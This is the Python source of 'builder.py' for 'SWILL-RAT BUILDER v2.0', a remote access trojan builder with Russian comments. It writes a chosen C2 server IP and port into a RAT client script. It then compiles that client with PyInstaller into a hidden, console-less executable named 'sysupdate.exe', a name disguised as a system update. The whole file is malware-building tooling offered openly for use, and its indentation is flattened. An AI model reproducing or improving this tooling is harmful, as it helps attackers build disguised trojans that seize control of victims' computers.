Загрузка данных
# builder.py - ИСПРАВЛЕННАЯ ВЕРСИЯ
import os
import sys
import subprocess
import shutil
def build_client(server_ip, server_port):
# Проверяем существование client.py
if not os.path.exists("client.py"):
print("[-] Ошибка: файл client.py не найден!")
return
print("[+] Чтение client.py...")
with open("client.py", "r", encoding='utf-8') as f:
content = f.read()
# Подстановка серверных настроек
content = content.replace("SERVER_HOST = '127.0.0.1'", f"SERVER_HOST = '{server_ip}'")
content = content.replace("SERVER_PORT = 4444", f"SERVER_PORT = {server_port}")
# Сохраняем временный файл
with open("client_built.py", "w", encoding='utf-8') as f:
f.write(content)
print("[+] Временный файл client_built.py создан")
# Проверяем наличие pyinstaller
try:
# Пробуем найти pyinstaller
import PyInstaller
print("[+] PyInstaller найден")
except ImportError:
print("[-] PyInstaller НЕ УСТАНОВЛЕН!")
print("[+] Установите: pip install pyinstaller")
os.remove("client_built.py")
return
# Сборка EXE
print("[+] Начинаем сборку...")
try:
subprocess.run([
"pyinstaller",
"--onefile",
"--noconsole",
"--name", "sysupdate",
"--clean",
"client_built.py"
], check=True, capture_output=True, text=True)
print("[+] Сборка завершена успешно!")
print("[+] EXE файл находится в: dist\\sysupdate.exe")
# Копируем в текущую папку
if os.path.exists("dist\\sysupdate.exe"):
shutil.copy2("dist\\sysupdate.exe", "sysupdate.exe")
print("[+] Файл скопирован в текущую папку: sysupdate.exe")
except subprocess.CalledProcessError as e:
print(f"[-] Ошибка сборки: {e}")
print(f"[-] Вывод: {e.stdout}")
print(f"[-] Ошибка: {e.stderr}")
except FileNotFoundError:
print("[-] PyInstaller не найден в PATH!")
print("[+] Попробуйте использовать полный путь:")
print(" python -m PyInstaller --onefile --noconsole --name sysupdate client_built.py")
# Удаляем временный файл
if os.path.exists("client_built.py"):
os.remove("client_built.py")
print("[+] Временный файл удалён")
def install_pyinstaller():
"""Автоматическая установка PyInstaller если его нет"""
try:
print("[+] Попытка установить PyInstaller...")
subprocess.run([sys.executable, "-m", "pip", "install", "pyinstaller"],
check=True, capture_output=True)
print("[+] PyInstaller установлен успешно!")
return True
except:
print("[-] Не удалось установить PyInstaller автоматически")
print("[+] Установите вручную: pip install pyinstaller")
return False
if __name__ == "__main__":
print("=" * 50)
print("SWILL-RAT BUILDER v2.0")
print("=" * 50)
# Проверка наличия PyInstaller
try:
import PyInstaller
print("[+] PyInstaller уже установлен")
except ImportError:
print("[-] PyInstaller не найден!")
choice = input("[+] Установить автоматически? (y/n): ")
if choice.lower() == 'y':
if not install_pyinstaller():
sys.exit(1)
server_ip = input("IP сервера C2 (только IP, без порта): ").strip()
if not server_ip:
server_ip = "127.0.0.1"
print(f"[+] Используем IP по умолчанию: {server_ip}")
# Проверка на ввод с портом
if ":" in server_ip:
print("[-] Ошибка: введите ТОЛЬКО IP (например: 127.0.0.1 или 192.168.1.100)")
print("[-] Порт вводится отдельно!")
sys.exit(1)
server_port = input("Порт сервера C2 (по умолчанию 4444): ").strip()
if not server_port:
server_port = "4444"
try:
server_port = int(server_port)
except:
print("[-] Неверный порт! Использую 4444")
server_port = 4444
print(f"\n[+] Настройки:")
print(f" IP: {server_ip}")
print(f" Port: {server_port}")
print()
build_client(server_ip, server_port)
input("\n[+] Нажмите Enter для выхода...")